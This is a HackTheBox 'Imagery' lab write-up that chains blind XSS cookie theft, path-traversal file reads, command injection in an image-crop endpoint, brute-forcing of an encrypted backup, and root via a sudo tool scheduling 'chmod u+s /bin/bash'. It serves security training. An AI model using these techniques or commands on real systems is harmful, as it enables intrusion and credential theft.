> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-imagery.md).

# HTB - Imagery

Difficulty: Medium  Attack path: Blind XSS → Session Hijack → LFI → Source Disclosure → Command Injection → Reverse Shell → Encrypted Backup Cracking → Custom Sudo  Binary Abuse -> root

## Enumeration and Foothold

```bash
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP

Browsing to `http://10.129.242.164:8000` revealed **Imagery**, an image gallery web app with Login/Register functionality.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fh51i5CZMHY61Tptr3qR9%2Fimage.png?alt=media&amp;token=d50350ba-1e08-4c04-99e9-7858a75832ca" alt=""><figcaption></figcaption></figure>

Registered a normal account and logged in, landing on a **Gallery** page and an **Upload** page:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fp6Zibk1aC0GaQhOv78ji%2Fimage.png?alt=media&amp;token=9a364b63-510d-4c10-af39-398f1ef2f6ea" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFFkV91AgJ5gEMgIAQ0KV%2Fimage.png?alt=media&amp;token=07a6c1f9-95a4-4809-b0ca-48438b36c2f1" alt=""><figcaption></figcaption></figure>

but there is also another option which is shown in the footer section called report bug.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVJhpjuHV3yKlDTxCW1zR%2Fimage.png?alt=media&amp;token=fabccab3-c586-4ae9-8ba4-ec474f1d0a49" alt=""><figcaption></figcaption></figure>

upon submitting a bug it results in admin in progress to review. which means we can try to steal Session cookie.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FiR458BBLrvkY4s8GJ9am%2Fimage.png?alt=media&amp;token=acb3d6d8-b33f-4122-8c4c-4aa16bf70878" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fq84RXTrYdy09s5qGOMcZ%2Fimage.png?alt=media&amp;token=c7db7216-c44f-411e-b179-99e1c063d43f" alt=""><figcaption></figcaption></figure>

#### XSS

Submitted a bug report with an XSS payload designed to exfiltrate cookies to my listener

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FCL2i6XD9YtjgSflraxCa%2Fimage.png?alt=media&amp;token=be4a2ece-fd06-45ac-bff9-05efeacacefc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FH4hMA4JBk2wpePQshP8N%2Fimage.png?alt=media&amp;token=04ff0d37-f8ef-4714-97b2-18eadcfcb7ac" alt=""><figcaption></figcaption></figure>

Set up a local listener to catch any outbound requests:

`python3 -m http.server 80`

Shortly after, the listener caught a hit from the target itself, carrying a `session` cookie:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGk5esneS2rIS9bnxRPIM%2Fimage.png?alt=media&amp;token=4542e2fe-734d-4401-be8e-d6dfb071c290" alt=""><figcaption></figcaption></figure>

This confirmed:

1. The payload executed in an admin/reviewer's browser session (blind XSS).
2. The application's session cookie was **not `HttpOnly`**, allowing JS to read and exfiltrate it.

I swapped my browser's `session` cookie for the stolen value via DevTools → Application → Cookies, refreshed, and gained access to a new **Admin Panel** link — full admin session hijack achieved.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FpSk8pEcT6OsfFgCBy13q%2Fimage.png?alt=media&amp;token=6b59799f-f3bd-442b-9fa7-91dd6333a614" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fp1jHB24aRsRrnrOW9moz%2Fimage.png?alt=media&amp;token=002eca27-f5ba-4a88-9006-1a5793bd30fd" alt=""><figcaption></figcaption></figure>

once the session refreshed i can access the admin panel.

The Admin Panel listed users and offered a **"Download Log"** button per account.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FoskH5uwHhZypQLU6x5fd%2Fimage.png?alt=media&amp;token=1f1a9d4a-d24f-4d84-9070-e0abbefd4d56" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJgOhKrWMePbtRgCFDJ2Z%2Fimage.png?alt=media&amp;token=d4a15580-6478-41e4-bcb2-6bf5cd3a0ae7" alt=""><figcaption></figcaption></figure>

Intercepting this request in Burp showed:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1C5iZc7MBrktNSTwJAma%2Fimage.png?alt=media&amp;token=68bf0264-dc19-4f93-8898-3a741d3d654b" alt=""><figcaption></figcaption></figure>

The `log_identifier` parameter looked like it was used to build a file path server-side. Testing path traversal:

#### Path Traversal / LFI

Returned the full contents of `/etc/passwd` — confirmed **LFI**.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYUUCBrrYGc1IrtbpGjWS%2Fimage.png?alt=media&amp;token=2bdd3606-37c7-4b78-89a4-214a68c5e67c" alt=""><figcaption></figcaption></figure>

Reading the environment variables provided useful information

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FAcLzTqJpxgYOGFmq0sjd%2Fimage.png?alt=media&amp;token=efd05114-0f2a-4857-ad43-59b2f18f02b7" alt=""><figcaption></figcaption></figure>

```bash
LANG=en_US.UTF-8
PATH=/home/web/web/env/bin:/usr/bin
USER=web
LOGNAME=web
HOME=/home/web
SHELL=/bin/bash
INVOCATION_ID=a6449a54b10248a2a01af296bbc719d6
JOURNAL_STREAM=9:18498
SYSTEMD_EXEC_PID=1372
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/flaskapp.service/memory.pressure
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xROp/runL!
```

This told me:

* The app runs as system user `web`.
* Its real source lives at `/home/web/web/`.
* There's a `CRON_BYPASS_TOKEN` environment variable — worth investigating.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FUatKVar1GlDssCPcoleG%2Fimage.png?alt=media&amp;token=ee8b4a15-7459-4469-82f2-1f5c07dcaa0c" alt=""><figcaption></figcaption></figure>

```bash
[Service]
User=web
Group=web
WorkingDirectory=/home/web/web
Environment="CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xROp%tL!"
ExecStart=/home/web/web/env/bin/python app.py
```

**Pulled the full application source** via the LFI, one file at a time:

```
../../../../home/web/web/app.py
../../../../home/web/web/config.py
../../../../home/web/web/api_admin.py
../../../../home/web/web/api_edit.py
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7pfdB6eFMvauVOvqWQZe%2Fimage.png?alt=media&amp;token=78a7e552-00d9-4c9b-aaa2-afcb113571a3" alt=""><figcaption></figcaption></figure>

```bash
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False

app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)

@app_core.route('/')
def main_dashboard():
    return render_template('index.html')

if __name__ == '__main__':
    current_database_data = _load_data()
    default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
    existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
    for collection_to_add in default_collections:
        if collection_to_add not in existing_collection_names_in_database:
            current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
    _save_data(current_database_data)
    for user_entry in current_database_data.get('users', []):
        user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
        if not os.path.exists(user_log_file_path):
            with open(user_log_file_path, 'w') as f:
                f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
    port = int(os.environ.get("PORT", 8000))
    if port in BLOCKED_APP_PORTS:
        print(f"Port {port} is blocked for security reasons. Please choose another port.")
        sys.exit(1)
    app_core.run(debug=False, host='0.0.0.0', port=port)
```

Key findings from source review:

* `config.py` revealed the true purpose of the token:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FkgXCuijm6JNzAIDeuX80%2Fimage.png?alt=media&amp;token=7039809c-e504-451c-82f5-08f5f629e3be" alt=""><figcaption></figcaption></figure>

It's a header value that bypasses the account-lockout protection on login — useful for password-guessing without tripping the lockout, though not needed further since I already had admin access.

* `api_admin.py` confirmed the `get_system_log` route (the LFI source) and an **"impersonate testuser"** admin feature.
* The app's data file, `db.json` (path defined in `config.py` as `DATA_STORE_PATH`), was also pulled directly via the LFI:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHE6cyXkefxQXQFn6NTs9%2Fimage.png?alt=media&amp;token=2fc80ba6-2cce-420f-bbe1-91c42b2b2b7d" alt=""><figcaption></figcaption></figure>

the hash looks like an MD5 hash. i can use crackstation to crack the hash.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FoQOo5SI1LfkewHA46QK3%2Fimage.png?alt=media&amp;token=34d9fc26-7f3a-4da5-ad31-ac053aeb1a8d" alt=""><figcaption></figcaption></figure>

Reviewing `api_edit.py` uncovered a command injection bug in the `apply_visual_transform` endpoint, specifically in the **crop** transform type:

#### Command Injection

Reviewing `api_edit.py` uncovered a command injection bug in the `apply_visual_transform` endpoint, specifically in the **crop** transform type:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxeZHzcKlIUS7QPI1ZzbY%2Fimage.png?alt=media&amp;token=bc02a1b6-d252-437b-94f6-e8c964ed6dd1" alt=""><figcaption></figcaption></figure>

his is the vulnerability — a clean **OS command injection** in `apply_visual_transform`'s `crop` branch:

Everything about this is exploitable:

* `params` come straight from the JSON request body, unsanitized
* The string is built with an f-string and passed to `subprocess.run(..., shell=True)` — meaning whatever you put in `x`, `y`, `width`, or `height` gets interpreted by the shell
* Every *other* transform type (`rotate`, `saturation`, `brightness`, `contrast`) uses the safe list-form of `subprocess.run` (no `shell=True`) — only `crop` has this flaw, likely an intentional bug for this box

**Access requirement:** this route requires `session.get('is_testuser_account')` to be true — meaning you need to be logged in *as* `testuser@imagery.htb`, not admin. You already cracked that password: `iambatman`.

since i already got creds as test user i can use it to login and try to exploit the feature.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8zS0HyevFAv6LOnMiWMd%2Fimage.png?alt=media&amp;token=af19c6bd-50d7-4bb5-a128-0be387be8755" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FlZ0hT1nlu0xSuar2ipqm%2Fimage.png?alt=media&amp;token=6e13cf8c-dbf2-4194-86fa-ee844ce1385a" alt=""><figcaption></figcaption></figure>

now upload any valid image.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJQP91PjUmQ9v1Ek27Mqg%2Fimage.png?alt=media&amp;token=5bc4e5bd-31e7-497f-aca0-6b464e4cdf33" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXPTgBNWqeKcVo7uCdm36%2Fimage.png?alt=media&amp;token=058d4a62-13dd-41a8-85a2-c016498bfadc" alt=""><figcaption></figcaption></figure>

Click "Transform Image" and intercept the request in Burp.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FWkXRyzEbv2Cp0pdeV2q9%2Fimage.png?alt=media&amp;token=5b7f77a7-c086-40b5-89ca-a01dc9eabb0e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FdVZ0R8T0eBF4c7XietqL%2Fimage.png?alt=media&amp;token=2d726cac-13a7-4243-988c-2e5511ea47f1" alt=""><figcaption></figcaption></figure>

The injection point is width in the crop geometry — since the vulnerable code does:

```powershell
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FgFyyUsbIg0Zria4ZiqXN%2Fimage.png?alt=media&amp;token=4b323f46-6107-447b-9722-a91e7524071b" alt=""><figcaption></figcaption></figure>

Command injection successful that said i can use it for getting shell access

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FIOFhf1lH9D9cr5L8UE48%2Fimage.png?alt=media&amp;token=2e352b1e-1b3c-4e50-9fd7-50ec0f52f2ef" alt=""><figcaption></figcaption></figure>

## Shell as Web

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4oGAzvmQR9xF5A9jqGG7%2Fimage.png?alt=media&amp;token=330746a4-4447-404d-9369-6d3199fcb80b" alt=""><figcaption></figcaption></figure>

```powershell
web@Imagery:~/web$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
web@Imagery:~/web$ export TERM=xterm
export TERM=xterm
web@Imagery:~/web$ 
```

Enumeration turned up an encrypted backup file:

```powershell
web@Imagery:/var/backup$ ls ls
ls
web_20250806_120723.zip.aes
web@Imagery:/var/backup$ 
```

i can transfer the file to attack machine and decrypt the file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYxklMoO1wsTUmopBeea9%2Fimage.png?alt=media&amp;token=9e9f3cab-34a6-4796-83f5-044b6284e997" alt=""><figcaption></figcaption></figure>

A quick header check confirmed the real format:

```powershell
(ajay㉿kali)-[~]
└─$ xxd web_20250806_120723.zip.aes | head -1
00000000: 4145 5302 0000 1b43 5245 4154 4544 5f42  AES....CREATED_B
```

The `AES` magic bytes confirmed this was **AES Crypt** format (not raw OpenSSL `enc`), so I used **pyAesCrypt** to attempt decryption, trying known passwords first and falling back to a wordlist:

```bash
import pyAesCrypt

with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin-1") as f:
    for line in f:
        pw = line.strip()
        try:
            pyAesCrypt.decryptFile("web_20250806_120723.zip.aes", "web_decrypted.zip", pw)
            print(f"SUCCESS: {pw}")
            break
        except ValueError:
            continue
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQW8vugKIL2tqBxTx4oux%2Fimage.png?alt=media&amp;token=cc8d2a50-1777-4640-8b7e-4a58e75ed1dd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fx1qjZO1U8855H4YDz8sr%2Fimage.png?alt=media&amp;token=80c0e380-fc73-4380-b999-b94ded9e0fc3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FhYia3JlACCz27IUytkBK%2Fimage.png?alt=media&amp;token=4d320f7e-08ac-4369-96ae-babb5694d274" alt=""><figcaption></figcaption></figure>

Unzipping the backup revealed SSH credentials/keys for `mark`, giving a foothold as that user:

```powershell
┌──(ajay㉿kali)-[~/web_backup/web]
└─$ cat db.json       
{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "displayId": "f8p10uw0",
            "isTestuser": false,
            "isAdmin": true,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "displayId": "8utz23o5",
            "isTestuser": true,
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "mark@imagery.htb",
            "password": "01c3d2e5bdaf6134cec0a367cf53e535",
            "displayId": "868facaf",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        },
        {
            "username": "web@imagery.htb",
            "password": "84e3c804cf1fa14306f26f9f3da177e0",
            "displayId": "7be291d4",
            "isAdmin": true,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        }
    ],
    "images": [],
    "bug_reports": [],
    "image_collections": [
        {
            "name": "My Images"
        },
        {
            "name": "Unsorted"
        },
        {
            "name": "Converted"
        },
        {
            "name": "Transformed"
        }
    ]
}                                                                                                                    
┌──(ajay㉿kali)-[~/web_backup/web]

```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FauZDMBQ6iWkoXfs7vrqL%2Fimage.png?alt=media&amp;token=89428e25-78cf-4f71-9011-ce1d501c5f4a" alt=""><figcaption></figcaption></figure>

`mark : supersmash`

## Shell as Mark

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FPpuP29oWxoa6fbyu0xad%2Fimage.png?alt=media&amp;token=014518cf-e02b-46f1-8014-293dce812371" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FzwtJZ5jtmzNMrKuAiHqV%2Fimage.png?alt=media&amp;token=dda6eab9-6b12-4054-9ea7-d2ece868b708" alt=""><figcaption></figcaption></figure>

### Abusing a Custom Sudo Binary (charcol)

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FPVeQbxnn4Z88M3dZ3FFt%2Fimage.png?alt=media&amp;token=84b6dcdc-a905-4660-bf85-2f2fdf93b8e3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fad9oLzbRG0O1UUsLvio4%2Fimage.png?alt=media&amp;token=9269cf3d-bb98-480c-a928-3ae335eb6878" alt=""><figcaption></figcaption></figure>

`charcol` turned out to be a custom-built "backup suite" CLI tool ("Charcol The Backup Suit — Development edition 1.0.0") with an interactive shell mode, gated by a master passphrase I didn't have.

```powershell
mark@Imagery:~$ sudo /usr/local/bin/charsudo /usr/local/bin/charcol help
sudo /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only
                        warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system
                        password verification).
mark@Imagery:~$ 

```

**Bypassed the passphrase using the tool's own reset flag**, which instead verifies the real Linux system password:

```powershell
mark@Imagery:~$ sudo /usr/local/bin/csudo /usr/local/bin/charcol -R
sudo /usr/local/bin/charcol -R

Attempting to reset Charcol application password to default.
[2026-08-04 22:07:27] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 
supersmash

[2026-08-04 22:07:39] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
mark@Imagery:~$ 
```

```powershell
mark@Imagery:~$ sudo /usr/local/bin/charsudo /usr/local/bin/charcol shell
sudo /usr/local/bin/charcol shell

First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode: 

Are you sure you want to use 'no password' mode? (yes/no): yes
yes
[2026-08-04 22:08:40] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
mark@Imagery:~$ 

```

Re-launched, chose "no password" mode, and entered the interactive shell running as **root** (since it was invoked via `sudo`):

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FgdpSWYtTwtoooOitFFOl%2Fimage.png?alt=media&amp;token=1b0d1a93-181d-42ea-b84a-a4f0d4e5fed3" alt=""><figcaption></figcaption></figure>

Since the whole tool runs as root, any command registered here executes as root once the cron job fires.

```powershell
charcol> auto add --schedule "* * * * *" --command "chmod u+s /bin/bash" --name "sync"
auto add --schedule "* * * * *" --command "chmod u+s /bin/bash" --name "sync"
[2026-08-04 22:11:52] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 
supersmash

[2026-08-04 22:12:04] [INFO] System password verified successfully.
[2026-08-04 22:12:04] [INFO] Auto job 'sync' (ID: c75d882f-0104-4ea0-8181-3f42079df10c) added successfully. The job will run according to schedule.
[2026-08-04 22:12:04] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true chmod u+s /bin/bash
charcol> 
```

Waited \~60 seconds for the minutely cron job to run, then exited the Charcol shell and checked:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fx3oTy3OJL9f9kCQC9qEi%2Fimage.png?alt=media&amp;token=8f862f12-b3f6-4566-893d-e48e0b9ef600" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0RbL8wH8NH7RM6h4h5WZ%2Fimage.png?alt=media&amp;token=58775f97-e022-404d-878e-3ab8e8d3bedf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FlkP6vwvPeBYmfd6slB93%2Fimage.png?alt=media&amp;token=e32ee2c4-2ac0-497f-b5a3-4f4145ade066" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-imagery.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
